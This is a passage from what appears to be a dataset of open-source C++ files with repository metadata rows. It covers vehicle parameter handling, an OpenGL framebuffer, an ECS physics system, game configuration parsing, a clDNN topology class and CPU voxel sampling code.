float64_t tire_cornering_stiffness_front,
float64_t tire_cornering_stiffness_rear,
float64_t mass_vehicle,
float64_t inertia_yaw_kg_m_2)
: wheel_radius(wheel_radius),
wheel_width(wheel_width),
wheel_base(wheel_base),
wheel_tread(wheel_tread),
overhang_front(overhang_front),
overhang_rear(overhang_rear),
overhang_left(overhang_left),
overhang_right(overhang_right),
vehicle_height(vehicle_height),
cg_to_rear(cg_to_rear),
tire_cornering_stiffness_front(tire_cornering_stiffness_front),
tire_cornering_stiffness_rear(tire_cornering_stiffness_rear),
mass_vehicle(mass_vehicle),
inertia_yaw_kg_m2(inertia_yaw_kg_m_2),
cg_to_front(wheel_base - cg_to_rear),
vehicle_length(overhang_front + wheel_base + overhang_rear),
vehicle_width(overhang_left + wheel_tread + overhang_right),
offset_longitudinal_min(-overhang_rear),
offset_longitudinal_max(wheel_base + overhang_front),
offset_lateral_min(-(wheel_tread / 2.0 + overhang_right)),
offset_lateral_max(wheel_tread / 2.0 + overhang_left),
offset_height_min(-wheel_radius),
offset_height_max(vehicle_height - wheel_radius)
{
// Sanity Checks
// Center of gravity must be between front and rear axles
if (wheel_base < cg_to_rear) {
throw std::runtime_error("wheel_base must be larger than cg_to_rear");
}
// These values must be positive
auto throw_if_negative = [](float64_t number, const std::string & name) {
if (number < 0.0) {
throw std::runtime_error(
name + " = " + std::to_string(number) +
" shouldn't be negative.");
}
};
throw_if_negative(wheel_radius, "wheel_radius");
throw_if_negative(wheel_width, "wheel_width");
throw_if_negative(wheel_base, "wheel_base");
throw_if_negative(wheel_tread, "wheel_tread");
throw_if_negative(overhang_front, "overhang_front");
throw_if_negative(overhang_rear, "overhang_rear");
throw_if_negative(overhang_left, "overhang_left");
throw_if_negative(overhang_right, "overhang_right");
throw_if_negative(vehicle_height, "vehicle_height");
throw_if_negative(cg_to_rear, "cg_to_rear");
throw_if_negative(tire_cornering_stiffness_front, "tire_cornering_stiffness_front");
throw_if_negative(tire_cornering_stiffness_rear, "tire_cornering_stiffness_rear");
throw_if_negative(mass_vehicle, "mass_vehicle");
throw_if_negative(inertia_yaw_kg_m_2, "inertia_yaw_kg_m_2");
}
std::string VehicleConstants::str_pretty() const
{
return std::string{
"wheel_radius: " + std::to_string(wheel_radius) + "\n"
"wheel_width: " + std::to_string(wheel_width) + "\n"
"wheel_base: " + std::to_string(wheel_base) + "\n"
"wheel_tread: " + std::to_string(wheel_tread) + "\n"
"overhang_front: " + std::to_string(overhang_front) + "\n"
"overhang_rear: " + std::to_string(overhang_rear) + "\n"
"overhang_left: " + std::to_string(overhang_left) + "\n"
"overhang_right: " + std::to_string(overhang_right) + "\n"
"vehicle_height: " + std::to_string(vehicle_height) + "\n"
"cg_to_rear: " + std::to_string(cg_to_rear) + "\n"
"tire_cornering_stiffness_front: " + std::to_string(tire_cornering_stiffness_front) + "\n"
"tire_cornering_stiffness_rear: " + std::to_string(tire_cornering_stiffness_rear) + "\n"
"mass_vehicle: " + std::to_string(mass_vehicle) + "\n"
"inertia_yaw_kg_m2: " + std::to_string(inertia_yaw_kg_m2) + "\n"
"cg_to_front: " + std::to_string(cg_to_front) + "\n"
"vehicle_length: " + std::to_string(vehicle_length) + "\n"
"vehicle_width: " + std::to_string(vehicle_width) + "\n"
"offset_longitudinal_min: " + std::to_string(offset_longitudinal_min) + "\n"
"offset_longitudinal_max: " + std::to_string(offset_longitudinal_max) + "\n"
"offset_lateral_min: " + std::to_string(offset_lateral_min) + "\n"
"offset_lateral_max: " + std::to_string(offset_lateral_max) + "\n"
"offset_height_min: " + std::to_string(offset_height_min) + "\n"
"offset_height_max: " + std::to_string(offset_height_max) + "\n"
};
}
VehicleConstants declare_and_get_vehicle_constants(rclcpp::Node & node)
{
// Initialize the parameters
const std::string ns = "vehicle.";
std::map<std::string, float64_t> params{
std::make_pair(ns + "wheel_radius", -1.0),
std::make_pair(ns + "wheel_width", -1.0),
std::make_pair(ns + "wheel_base", -1.0),
std::make_pair(ns + "wheel_tread", -1.0),
std::make_pair(ns + "overhang_front", -1.0),
std::make_pair(ns + "overhang_rear", -1.0),
std::make_pair(ns + "overhang_left", -1.0),
std::make_pair(ns + "overhang_right", -1.0),
std::make_pair(ns + "vehicle_height", -1.0),
std::make_pair(ns + "cg_to_rear", -1.0),
std::make_pair(ns + "tire_cornering_stiffness_front", -1.0),
std::make_pair(ns + "tire_cornering_stiffness_rear", -1.0),
std::make_pair(ns + "mass_vehicle", -1.0),
std::make_pair(ns + "inertia_yaw_kg_m2", -1.0)
};
// Try to get parameter values from parameter_overrides set either from .yaml
// or with args.
for (auto & pair : params) {
// If it is already declared
if (node.has_parameter(pair.first)) {
pair.second = node.get_parameter(pair.first).get_value<float64_t>();
continue;
}
pair.second = node.declare_parameter(pair.first).get<float64_t>();
}
return VehicleConstants(
params.at(ns + "wheel_radius"),
params.at(ns + "wheel_width"),
params.at(ns + "wheel_base"),
params.at(ns + "wheel_tread"),
params.at(ns + "overhang_front"),
params.at(ns + "overhang_rear"),
params.at(ns + "overhang_left"),
params.at(ns + "overhang_right"),
params.at(ns + "vehicle_height"),
params.at(ns + "cg_to_rear"),
params.at(ns + "tire_cornering_stiffness_front"),
params.at(ns + "tire_cornering_stiffness_rear"),
params.at(ns + "mass_vehicle"),
params.at(ns + "inertia_yaw_kg_m2")
);
}
} // namespace vehicle_constants_manager
} // namespace common
} // namespace autoware
| 38.875 | 94 | 0.719838 | QS-L-1992 |
78e125fb8e7f6eaeebe16d607e63a24ea6e7d400 | 884 | hpp | C++ | src/engine/graphics/opengl/gl_framebuffer.hpp | Overpeek/Overpeek-Engine | 3df11072378ba870033a19cd09fb332bcc4c466d | [
"MIT"
] | 13 | 2020-01-10T16:36:46.000Z | 2021-08-09T09:24:47.000Z | src/engine/graphics/opengl/gl_framebuffer.hpp | Overpeek/Overpeek-Engine | 3df11072378ba870033a19cd09fb332bcc4c466d | [
"MIT"
] | 1 | 2020-01-16T11:03:49.000Z | 2020-01-16T11:11:15.000Z | src/engine/graphics/opengl/gl_framebuffer.hpp | Overpeek/Overpeek-Engine | 3df11072378ba870033a19cd09fb332bcc4c466d | [
"MIT"
] | 1 | 2020-02-06T21:22:47.000Z | 2020-02-06T21:22:47.000Z | #pragma once
#include "engine/graphics/interface/framebuffer.hpp"
#include "engine/graphics/opengl/gl_texture.hpp"
#include "engine/internal_libs.hpp"
namespace oe::graphics
{
class GLFrameBuffer : public IFrameBuffer
{
private:
// uint32_t m_rbo;
uint32_t m_id;
Texture m_texture;
public:
static uint32_t bound_fbo_id;
static glm::ivec4 current_viewport;
static glm::ivec2 gl_max_fb_size;
static void bind_fb(uint32_t fb_id, const glm::ivec4& viewport);
public:
GLFrameBuffer(const FrameBufferInfo& framebuffer_info);
~GLFrameBuffer() override;
void bind() override;
void clear(const oe::color& c = oe::colors::clear_color) override;
static std::unique_ptr<state> save_state();
static void load_state(const std::unique_ptr<state>&);
inline Texture& getTexture() override { return m_texture; }
};
} | 22.666667 | 69 | 0.713801 | Overpeek |
78e29276d916c0660539ffc9eed806e18eed0da3 | 547 | cpp | C++ | cozybirdFX/PhysicsSystem.cpp | HenryLoo/cozybirdFX | 0ef522d9a8304c190c8a586a4de6452c6bc9edfe | [
"BSD-3-Clause"
] | null | null | null | cozybirdFX/PhysicsSystem.cpp | HenryLoo/cozybirdFX | 0ef522d9a8304c190c8a586a4de6452c6bc9edfe | [
"BSD-3-Clause"
] | null | null | null | cozybirdFX/PhysicsSystem.cpp | HenryLoo/cozybirdFX | 0ef522d9a8304c190c8a586a4de6452c6bc9edfe | [
"BSD-3-Clause"
] | null | null | null | #include "PhysicsSystem.h"
namespace
{
const unsigned long COMPONENTS_MASK
{
ECSComponent::COMPONENT_POSITION |
ECSComponent::COMPONENT_VELOCITY
};
}
PhysicsSystem::PhysicsSystem(EntityManager &manager,
std::vector<ECSComponent::Position> &positions,
std::vector<ECSComponent::Velocity> &velocities) :
ECSSystem(manager, COMPONENTS_MASK), m_positions(positions),
m_velocities(velocities)
{
}
void PhysicsSystem::updateEntity(int entityId, float deltaTime)
{
m_positions[entityId].xyz += m_velocities[entityId].xyz * deltaTime;
}
| 21.88 | 69 | 0.778793 | HenryLoo |
78e37417d11be59453acc52ad910dac5136c603e | 4,257 | cpp | C++ | Game/GameConfig.cpp | michalzaw/vbcpp | 911896898d2cbf6a223e3552801c5207e0c2aef2 | [
"MIT"
] | 9 | 2020-06-09T20:43:35.000Z | 2022-02-23T17:45:44.000Z | Game/GameConfig.cpp | michalzaw/vbcpp-fork | 8b972e8debf825173c001f99fe43f92e9b548384 | [
"MIT"
] | null | null | null | Game/GameConfig.cpp | michalzaw/vbcpp-fork | 8b972e8debf825173c001f99fe43f92e9b548384 | [
"MIT"
] | 1 | 2021-01-04T14:01:12.000Z | 2021-01-04T14:01:12.000Z | #include "GameConfig.h"
#include "../Utils/Strings.h"
void GameConfig::loadGameConfig(const char* filename)
{
XMLDocument doc;
doc.LoadFile(filename);
XMLElement* objElement = doc.FirstChildElement("Game");
for (XMLElement* child = objElement->FirstChildElement(); child != NULL; child = child->NextSiblingElement())
{
const char* ename = child->Name();
if (strcmp(ename,"Resolution") == 0)
{
const char* cWidth = child->Attribute("x");
const char* cHeight = child->Attribute("y");
windowWidth = (int)atoi(cWidth);
windowHeight = (int)atoi(cHeight);
}
else
if (strcmp(ename,"Map") == 0)
{
mapFile = std::string(child->Attribute("name"));
}
else
if (strcmp(ename,"Bus") == 0)
{
busModel = std::string(child->Attribute("model"));
}
else
if (strcmp(ename,"Configuration") == 0)
{
for (XMLElement* configElement = child->FirstChildElement(); configElement != NULL; configElement = configElement->NextSiblingElement())
{
const char* ename = configElement->Name();
if (strcmp(ename,"Fullscreen") == 0)
{
isFullscreen = toBool(configElement->GetText());
}
if (strcmp(ename, "VerticalSync") == 0)
{
verticalSync = toBool(configElement->GetText());
}
else if (strcmp(ename, "HdrQuality") == 0)
{
hdrQuality = toInt(configElement->GetText());
}
else if (strcmp(ename,"MsaaAntialiasing") == 0)
{
msaaAntialiasing = toBool(configElement->GetText());
}
else if (strcmp(ename,"MsaaAntialiasingLevel") == 0)
{
msaaAntialiasingLevel = toInt(configElement->GetText());
}
else if (strcmp(ename,"Shadowmapping") == 0)
{
isShadowmappingEnable = toBool(configElement->GetText());
}
else if (strcmp(ename,"ShadowmapSize") == 0)
{
shadowmapSize = toInt(configElement->GetText());
}
else if (strcmp(ename, "StaticShadowmapSize") == 0)
{
staticShadowmapSize = toInt(configElement->GetText());
}
else if (strcmp(ename,"Bloom") == 0)
{
isBloomEnabled = toBool(configElement->GetText());
}
else if (strcmp(ename,"Grass") == 0)
{
isGrassEnable = toBool(configElement->GetText());
}
else if (strcmp(ename, "GrassRenderingDistance") == 0)
{
grassRenderingDistance = toFloat(configElement->GetText());
}
else if (strcmp(ename, "Mirrors") == 0)
{
isMirrorsEnabled = toBool(configElement->GetText());
}
else if (strcmp(ename, "MirrorRenderingDistance") == 0)
{
mirrorRenderingDistance = toFloat(configElement->GetText());
}
else if (strcmp(ename, "TextureCompression") == 0)
{
textureCompression = toBool(configElement->GetText());
}
else if (strcmp(ename, "AnisotropicFiltering") == 0)
{
anisotropicFiltering = toBool(configElement->GetText());
}
else if (strcmp(ename, "AnisotropySamples") == 0)
{
anisotropySamples = toFloat(configElement->GetText());
}
else if (strcmp(ename, "PbrSupport") == 0)
{
pbrSupport = toBool(configElement->GetText());
}
}
}
}
}
void GameConfig::loadDevelopmentConfig(const char* filename)
{
XMLDocument doc;
doc.LoadFile(filename);
XMLElement* objElement = doc.FirstChildElement("DevSettings");
for (XMLElement* child = objElement->FirstChildElement(); child != NULL; child = child->NextSiblingElement())
{
const char* ename = child->Name();
if (strcmp(ename, "alternativeResourcesPath") == 0)
{
alternativeResourcesPath = std::string(child->GetText());
}
else if (strcmp(ename, "developmentMode") == 0)
{
developmentMode = toBool(child->GetText());
}
}
}
GameConfig* GameConfig::instance = NULL;
| 30.407143 | 148 | 0.554851 | michalzaw |
78e4fc875cf757a4ccb9ccb3d300ecd051d72e3d | 2,654 | hpp | C++ | inference-engine/thirdparty/clDNN/api/topology.hpp | ElenaGvozdeva/openvino | 084aa4e5916fa2ed3e353dcd45d081ab11d9c75a | [
"Apache-2.0"
] | 1 | 2022-02-10T08:05:09.000Z | 2022-02-10T08:05:09.000Z | inference-engine/thirdparty/clDNN/api/topology.hpp | ElenaGvozdeva/openvino | 084aa4e5916fa2ed3e353dcd45d081ab11d9c75a | [
"Apache-2.0"
] | 40 | 2020-12-04T07:46:57.000Z | 2022-02-21T13:04:40.000Z | inference-engine/thirdparty/clDNN/api/topology.hpp | ElenaGvozdeva/openvino | 084aa4e5916fa2ed3e353dcd45d081ab11d9c75a | [
"Apache-2.0"
] | 1 | 2020-07-22T15:53:40.000Z | 2020-07-22T15:53:40.000Z | // Copyright (C) 2018-2021 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
//
///////////////////////////////////////////////////////////////////////////////////////////////////
#pragma once
#include <cstdint>
#include "cldnn.hpp"
#include "compounds.h"
#include "primitive.hpp"
#include <vector>
#include <memory>
namespace cldnn {
/// @addtogroup cpp_api C++ API
/// @{
/// @defgroup cpp_topology Network Topology
/// @{
struct topology_impl;
/// @brief Network topology to be defined by user.
struct topology {
/// @brief Constructs empty network topology.
topology();
/// @brief Constructs topology containing primitives provided in argument(s).
template <class... Args>
explicit topology(const Args&... args) : topology() {
add<Args...>(args...);
}
/// @brief Copy construction.
topology(const topology& other) : _impl(other._impl) { retain(); }
/// @brief Copy assignment.
topology& operator=(const topology& other) {
if (_impl == other._impl)
return *this;
release();
_impl = other._impl;
retain();
return *this;
}
/// Construct C++ topology based on C API @p cldnn_topology
explicit topology(topology_impl* other) : _impl(other) {
if (_impl == nullptr)
throw std::invalid_argument("implementation pointer should not be null");
}
/// @brief Releases wrapped C API @ref cldnn_topology.
~topology() { release(); }
friend bool operator==(const topology& lhs, const topology& rhs) { return lhs._impl == rhs._impl; }
friend bool operator!=(const topology& lhs, const topology& rhs) { return !(lhs == rhs); }
void add_primitive(std::shared_ptr<primitive> desc);
/// @brief Adds a primitive to topology.
template <class PType>
void add(PType const& desc) {
add_primitive(std::static_pointer_cast<primitive>(std::make_shared<PType>(desc)));
}
/// @brief Adds primitives to topology.
template <class PType, class... Args>
void add(PType const& desc, Args const&... args) {
add(desc);
add<Args...>(args...);
}
/// @brief Returns wrapped implementation pointer.
topology_impl* get() const { return _impl; }
const std::vector<primitive_id> get_primitive_ids() const;
void change_input_layout(primitive_id id, const layout& new_layout);
const std::shared_ptr<primitive>& at(const primitive_id& id) const;
private:
friend struct engine;
friend struct network;
topology_impl* _impl;
void retain();
void release();
};
CLDNN_API_CLASS(topology)
/// @}
/// @}
} // namespace cldnn
| 27.360825 | 103 | 0.621326 | ElenaGvozdeva |
78e71c834fffc13c099f3046610aaeaae8deb96e | 1,572 | cxx | C++ | src/capi/config.cxx | nshcat/gl_app | 49b97f07f81dc252695a379c46213ad9c1d94e1a | [
"MIT"
] | 1 | 2018-02-08T16:59:47.000Z | 2018-02-08T16:59:47.000Z | src/capi/config.cxx | nshcat/roguelike | 49b97f07f81dc252695a379c46213ad9c1d94e1a | [
"MIT"
] | null | null | null | src/capi/config.cxx | nshcat/roguelike | 49b97f07f81dc252695a379c46213ad9c1d94e1a | [
"MIT"
] | null | null | null | #include <capi/config.h>
#include <iomanip>
#include <memory>
#include <algorithm>
#include <log.hxx>
#include <ut/string_view.hxx>
#include <global_state.hxx>
namespace internal
{
template< typename T >
T retrieve_config_value(ut::string_view p_path)
{
const auto t_val = global_state<configuration>().get<T>({p_path.to_string()});
if(!t_val)
{
LOG_F_TAG("libascii") << "Requested configuration entry does not exist or type mismatch: \"" << (p_path) << "\"";
throw new ::std::runtime_error("requested configuration entry does not exist or type mismatch");
}
return *t_val;
}
}
extern "C"
{
float configuration_get_float(const char* p_path)
{
return internal::retrieve_config_value<float>({p_path});
}
double configuration_get_double(const char* p_path)
{
return internal::retrieve_config_value<double>({p_path});
}
int configuration_get_int(const char* p_path)
{
return internal::retrieve_config_value<int>({p_path});
}
unsigned configuration_get_uint(const char* p_path)
{
return internal::retrieve_config_value<unsigned>({p_path});
}
const char* configuration_get_string(const char* p_path)
{
const auto t_str = internal::retrieve_config_value<::std::string>({p_path});
::std::unique_ptr<char[]> t_buf{ new char[t_str.length() + 1] };
::std::copy(t_str.cbegin(), t_str.end(), t_buf.get());
t_buf[t_str.length()] = '\0';
return t_buf.release();
}
bool_t configuration_get_boolean(const char* p_path)
{
return static_cast<bool_t>(internal::retrieve_config_value<bool>({p_path}));
}
}
| 23.462687 | 116 | 0.707379 | nshcat |
78e750c3d49ef9e408e0d33a1cadfbf2226d4852 | 8,256 | cpp | C++ | src/jit-dynamic.cpp | eponymous/libjit-python | ded363a1ceaee60b622946a34769f70cd434b694 | [
"BSD-2-Clause"
] | 1 | 2019-04-25T03:24:56.000Z | 2019-04-25T03:24:56.000Z | src/jit-dynamic.cpp | eponymous/libjit-python | ded363a1ceaee60b622946a34769f70cd434b694 | [
"BSD-2-Clause"
] | null | null | null | src/jit-dynamic.cpp | eponymous/libjit-python | ded363a1ceaee60b622946a34769f70cd434b694 | [
"BSD-2-Clause"
] | null | null | null | /*
Copyright (c) 2016, Dan Eicher
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "jit-module.h"
#include <jit/jit-dynamic.h>
typedef struct {
PyObject_HEAD
jit_dynlib_handle_t obj;
} PyJit_dynlib_handle;
extern PyTypeObject PyJit_dynlib_handle_Type;
static PyObject *
PyJit_dynamic_set_debug(PyObject * UNUSED(dummy), PyObject *args, PyObject *kwargs)
{
PyObject *py_flag;
const char *keywords[] = {"flag", NULL};
if (!PyArg_ParseTupleAndKeywords(args, kwargs, (char *) "O:set_debug", (char **) keywords, &py_flag)) {
return NULL;
}
jit_dynlib_set_debug(PyObject_IsTrue(py_flag));
Py_RETURN_NONE;
}
static PyObject *
PyJit_dynamic_get_suffix()
{
return Py_BuildValue((char *) "s", jit_dynlib_get_suffix());
}
static PyMethodDef jit_dynamic_functions[] = {
{(char *) "set_debug", (PyCFunction) PyJit_dynamic_set_debug, METH_KEYWORDS|METH_VARARGS, NULL },
{(char *) "get_suffix", (PyCFunction) PyJit_dynamic_get_suffix, METH_NOARGS, NULL },
{NULL, NULL, 0, NULL}
};
static PyObject *
PyJit__dynamic_get_symbol(PyJit_dynlib_handle *self, PyObject *args, PyObject *kwargs)
{
char const *name;
const char *keywords[] = {"name", NULL};
void *symbol;
if (!PyArg_ParseTupleAndKeywords(args, kwargs, (char *) "s:get_symbol", (char **) keywords, &name)) {
return NULL;
}
if ((symbol = jit_dynlib_get_symbol(self->obj, name)) == NULL) {
PyErr_Format(PyExc_ValueError, "symbol '%s' not found", name);
return NULL;
}
return PyLong_FromVoidPtr(symbol);
}
static PyMethodDef PyJit_dynlib_handle_methods[] = {
{(char *) "get_symbol", (PyCFunction) PyJit__dynamic_get_symbol, METH_KEYWORDS|METH_VARARGS, NULL },
{NULL, NULL, 0, NULL}
};
static int
PyJit_dynlib_handle__tp_init(PyJit_dynlib_handle *self, PyObject *args, PyObject *kwargs)
{
char const *name;
const char *keywords[] = {"name", NULL};
if (!PyArg_ParseTupleAndKeywords(args, kwargs, (char *) "s", (char **) keywords, &name)) {
return -1;
}
self->obj = jit_dynlib_open(name);
if (self->obj == NULL) {
PyErr_Format(PyExc_ValueError, "unable to open library '%s'", name);
return -1;
}
return 0;
}
static void
PyJit_dynlib_handle__tp_dealloc(PyJit_dynlib_handle *self)
{
jit_dynlib_handle_t tmp = self->obj;
self->obj = NULL;
if (tmp) {
jit_dynlib_close(tmp);
}
Py_TYPE(self)->tp_free((PyObject*)self);
}
PyTypeObject PyJit_dynlib_handle_Type = {
PyVarObject_HEAD_INIT(NULL, 0)
(char *) "jit.dynamic.Library", /* tp_name */
sizeof(PyJit_dynlib_handle), /* tp_basicsize */
0, /* tp_itemsize */
/* methods */
(destructor)PyJit_dynlib_handle__tp_dealloc, /* tp_dealloc */
(printfunc)0, /* tp_print */
(getattrfunc)NULL, /* tp_getattr */
(setattrfunc)NULL, /* tp_setattr */
(cmpfunc)NULL, /* tp_compare */
(reprfunc)NULL, /* tp_repr */
(PyNumberMethods*)NULL, /* tp_as_number */
(PySequenceMethods*)NULL, /* tp_as_sequence */
(PyMappingMethods*)NULL, /* tp_as_mapping */
(hashfunc)NULL, /* tp_hash */
(ternaryfunc)NULL, /* tp_call */
(reprfunc)NULL, /* tp_str */
(getattrofunc)NULL, /* tp_getattro */
(setattrofunc)NULL, /* tp_setattro */
(PyBufferProcs*)NULL, /* tp_as_buffer */
Py_TPFLAGS_DEFAULT, /* tp_flags */
NULL, /* Documentation string */
(traverseproc)NULL, /* tp_traverse */
(inquiry)NULL, /* tp_clear */
(richcmpfunc)NULL, /* tp_richcompare */
0, /* tp_weaklistoffset */
(getiterfunc)NULL, /* tp_iter */
(iternextfunc)NULL, /* tp_iternext */
(struct PyMethodDef*)PyJit_dynlib_handle_methods, /* tp_methods */
(struct PyMemberDef*)0, /* tp_members */
0, /* tp_getset */
NULL, /* tp_base */
NULL, /* tp_dict */
(descrgetfunc)NULL, /* tp_descr_get */
(descrsetfunc)NULL, /* tp_descr_set */
0, /* tp_dictoffset */
(initproc)PyJit_dynlib_handle__tp_init, /* tp_init */
(allocfunc)PyType_GenericAlloc, /* tp_alloc */
(newfunc)PyType_GenericNew, /* tp_new */
(freefunc)0, /* tp_free */
(inquiry)NULL, /* tp_is_gc */
NULL, /* tp_bases */
NULL, /* tp_mro */
NULL, /* tp_cache */
NULL, /* tp_subclasses */
NULL, /* tp_weaklist */
(destructor) NULL /* tp_del */
};
#if PY_VERSION_HEX >= 0x03000000
static struct PyModuleDef jit_dynamic_moduledef = {
PyModuleDef_HEAD_INIT,
"jit.dynamic",
NULL,
-1,
jit_dynamic_functions,
};
#endif
PyObject *
initjit_dynamic(void)
{
PyObject *m;
#if PY_VERSION_HEX >= 0x03000000
m = PyModule_Create(&jit_dynamic_moduledef);
#else
m = Py_InitModule3((char *) "jit.dynamic", jit_dynamic_functions, NULL);
#endif
if (m == NULL) {
return NULL;
}
/* Register the 'jit_dynlib_handle_t' class */
if (PyType_Ready(&PyJit_dynlib_handle_Type)) {
return NULL;
}
PyModule_AddObject(m, (char *) "Library", (PyObject *) &PyJit_dynlib_handle_Type);
return m;
}
| 40.273171 | 107 | 0.518653 | eponymous |
78e96470c9e43a2889e44f7dcb6ccff4520e904d | 4,798 | cpp | C++ | modules/spaint/src/sampling/cpu/PerLabelVoxelSampler_CPU.cpp | GucciPrada/spaint | b09ff1ec0d9e123cf316f2737e1b70b5ecc0beea | [
"Unlicense"
] | 1 | 2019-05-16T06:39:21.000Z | 2019-05-16T06:39:21.000Z | modules/spaint/src/sampling/cpu/PerLabelVoxelSampler_CPU.cpp | GucciPrada/spaint | b09ff1ec0d9e123cf316f2737e1b70b5ecc0beea | [
"Unlicense"
] | null | null | null | modules/spaint/src/sampling/cpu/PerLabelVoxelSampler_CPU.cpp | GucciPrada/spaint | b09ff1ec0d9e123cf316f2737e1b70b5ecc0beea | [
"Unlicense"
] | null | null | null | /**
* spaint: PerLabelVoxelSampler_CPU.cpp
* Copyright (c) Torr Vision Group, University of Oxford, 2015. All rights reserved.
*/
#include "sampling/cpu/PerLabelVoxelSampler_CPU.h"
#include "sampling/shared/PerLabelVoxelSampler_Shared.h"
namespace spaint {
//#################### CONSTRUCTORS ####################
PerLabelVoxelSampler_CPU::PerLabelVoxelSampler_CPU(size_t maxLabelCount, size_t maxVoxelsPerLabel, int raycastResultSize, unsigned int seed)
: PerLabelVoxelSampler(maxLabelCount, maxVoxelsPerLabel, raycastResultSize, seed)
{}
//#################### PRIVATE MEMBER FUNCTIONS ####################
void PerLabelVoxelSampler_CPU::calculate_voxel_mask_prefix_sums(const ORUtils::MemoryBlock<bool>& labelMaskMB) const
{
const bool *labelMask = labelMaskMB.GetData(MEMORYDEVICE_CPU);
const unsigned char *voxelMasks = m_voxelMasksMB->GetData(MEMORYDEVICE_CPU);
unsigned int *voxelMaskPrefixSums = m_voxelMaskPrefixSumsMB->GetData(MEMORYDEVICE_CPU);
// For each possible label:
const int stride = m_raycastResultSize + 1;
for(size_t k = 0; k < m_maxLabelCount; ++k)
{
// If the label is not currently in use, continue.
if(!labelMask[k]) continue;
// Calculate the prefix sum of the voxel mask.
const size_t offset = k * stride;
voxelMaskPrefixSums[offset] = 0;
for(int i = 1; i < stride; ++i)
{
voxelMaskPrefixSums[offset + i] = voxelMaskPrefixSums[offset + (i - 1)] + voxelMasks[offset + (i - 1)];
}
}
}
void PerLabelVoxelSampler_CPU::calculate_voxel_masks(const ITMFloat4Image *raycastResult,
const SpaintVoxel *voxelData,
const ITMVoxelIndex::IndexData *indexData) const
{
const Vector4f *raycastResultData = raycastResult->GetData(MEMORYDEVICE_CPU);
unsigned char *voxelMasks = m_voxelMasksMB->GetData(MEMORYDEVICE_CPU);
#ifdef WITH_OPENMP
#pragma omp parallel for
#endif
for(int voxelIndex = 0; voxelIndex < m_raycastResultSize; ++voxelIndex)
{
// Update the voxel masks based on the contents of the voxel.
update_masks_for_voxel(
voxelIndex,
raycastResultData,
m_raycastResultSize,
voxelData,
indexData,
m_maxLabelCount,
voxelMasks
);
}
}
void PerLabelVoxelSampler_CPU::write_candidate_voxel_counts(const ORUtils::MemoryBlock<bool>& labelMaskMB,
ORUtils::MemoryBlock<unsigned int>& voxelCountsForLabelsMB) const
{
const bool *labelMask = labelMaskMB.GetData(MEMORYDEVICE_CPU);
const unsigned int *voxelMaskPrefixSums = m_voxelMaskPrefixSumsMB->GetData(MEMORYDEVICE_CPU);
unsigned int *voxelCountsForLabels = voxelCountsForLabelsMB.GetData(MEMORYDEVICE_CPU);
#ifdef WITH_OPENMP
#pragma omp parallel for
#endif
for(int k = 0; k < static_cast<int>(m_maxLabelCount); ++k)
{
write_candidate_voxel_count(k, m_raycastResultSize, labelMask, voxelMaskPrefixSums, voxelCountsForLabels);
}
}
void PerLabelVoxelSampler_CPU::write_candidate_voxel_locations(const ITMFloat4Image *raycastResult) const
{
const Vector4f *raycastResultData = raycastResult->GetData(MEMORYDEVICE_CPU);
const unsigned char *voxelMasks = m_voxelMasksMB->GetData(MEMORYDEVICE_CPU);
const unsigned int *voxelMaskPrefixSums = m_voxelMaskPrefixSumsMB->GetData(MEMORYDEVICE_CPU);
Vector3s *candidateVoxelLocations = m_candidateVoxelLocationsMB->GetData(MEMORYDEVICE_CPU);
#ifdef WITH_OPENMP
#pragma omp parallel for
#endif
for(int voxelIndex = 0; voxelIndex < m_raycastResultSize; ++voxelIndex)
{
write_candidate_voxel_location(
voxelIndex,
raycastResultData,
m_raycastResultSize,
voxelMasks,
voxelMaskPrefixSums,
m_maxLabelCount,
candidateVoxelLocations
);
}
}
void PerLabelVoxelSampler_CPU::write_sampled_voxel_locations(const ORUtils::MemoryBlock<bool>& labelMaskMB,
ORUtils::MemoryBlock<Vector3s>& sampledVoxelLocationsMB) const
{
const Vector3s *candidateVoxelLocations = m_candidateVoxelLocationsMB->GetData(MEMORYDEVICE_CPU);
const int *candidateVoxelIndices = m_candidateVoxelIndicesMB->GetData(MEMORYDEVICE_CPU);
const bool *labelMask = labelMaskMB.GetData(MEMORYDEVICE_CPU);
Vector3s *sampledVoxelLocations = sampledVoxelLocationsMB.GetData(MEMORYDEVICE_CPU);
#ifdef WITH_OPENMP
#pragma omp parallel for
#endif
for(int voxelIndex = 0; voxelIndex < static_cast<int>(m_maxVoxelsPerLabel); ++voxelIndex)
{
copy_sampled_voxel_locations(
voxelIndex,
labelMask,
m_maxLabelCount,
m_maxVoxelsPerLabel,
m_raycastResultSize,
candidateVoxelLocations,
candidateVoxelIndices,
sampledVoxelLocations
);
}
}
}
| 35.540741 | 140 | 0.717799 | GucciPrada |
78ebdeba4a13ed1566c7ba267aace3fdd1e51d17 | 1,189 | hpp | C++ | modules/xmlrpc_server/xmlrpc_utility.hpp | goodspeed24e/2014iOT | 139f6e2131f8a94cb876328b5f733e3feef77707 | [
"MIT"
] | null | null | null | modules/xmlrpc_server/xmlrpc_utility.hpp | goodspeed24e/2014iOT | 139f6e2131f8a94cb876328b5f733e3feef77707 | [
"MIT"
